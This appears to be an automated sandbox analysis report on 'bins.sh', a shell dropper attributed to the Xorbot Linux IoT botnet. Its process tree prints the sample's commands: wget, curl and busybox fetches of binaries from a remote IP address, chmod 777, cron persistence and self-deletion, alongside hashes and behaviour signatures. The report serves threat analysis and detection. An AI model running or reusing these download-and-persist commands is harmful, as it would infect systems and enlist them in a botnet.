Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20250619-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20250619-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    11/09/2025, 03:08

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250911-dm6qsstry9
  • SHA256 ef1e3e5b105212307dda1ef228a4494b446f70a40ceef1b1aa6096fba921894e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
botnetdefense_evasiondiscoveryexecutionxorbotpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (1104) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    • Renames itself
    • Reads runtime system information
    PID:1528
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:1529
      • /usr/bin/wget
        wget http://178.16.54.252/bins/oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta
        2⤵
        • Writes file to tmp directory
        PID:1530
      • /usr/bin/curl
        curl -O http://178.16.54.252/bins/oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta
        2⤵
        • Writes file to tmp directory
        PID:1534
      • /bin/busybox
        /bin/busybox wget http://178.16.54.252/bins/oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta
        2⤵
        • Writes file to tmp directory
        PID:1535
      • /bin/chmod
        chmod 777 oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta
        2⤵
        • File and Directory Permissions Modification
        PID:1536
      • /usr/bin/crontab
        crontab -l
        2⤵
          PID:1540
        • /usr/bin/crontab
          crontab -
          2⤵
          • Creates/modifies Cron job
          PID:1542
        • /bin/rm
          rm oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta
          2⤵
            PID:1544
          • /usr/bin/wget
            wget http://178.16.54.252/bins/4XGHCy6I55FmWeuln2rkbJkKI0wL25demn
            2⤵
              PID:1547

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

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                Downloads

                oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta
                • Path /tmp/oJTKEHHfjlBwhr0wKEKO1l56aUd3Uc30Ta
                • Size 98KB
                • SHA256 8340ff8920412a70f0c29cdf72f6f218e61142b3f210e70e24811c413971a8ed
                • MD5 SHA1 SHA512 SSDEEP
                Submit Download

                tmp.Ep6YVf
                • Path /var/spool/cron/crontabs/tmp.Ep6YVf
                • Size 210B
                • SHA256 bcd46603955052593480cc14d07a2af5266fd7e385daa7509c95a4ce0ab4c901
                • MD5 SHA1 SHA512
                Submit Download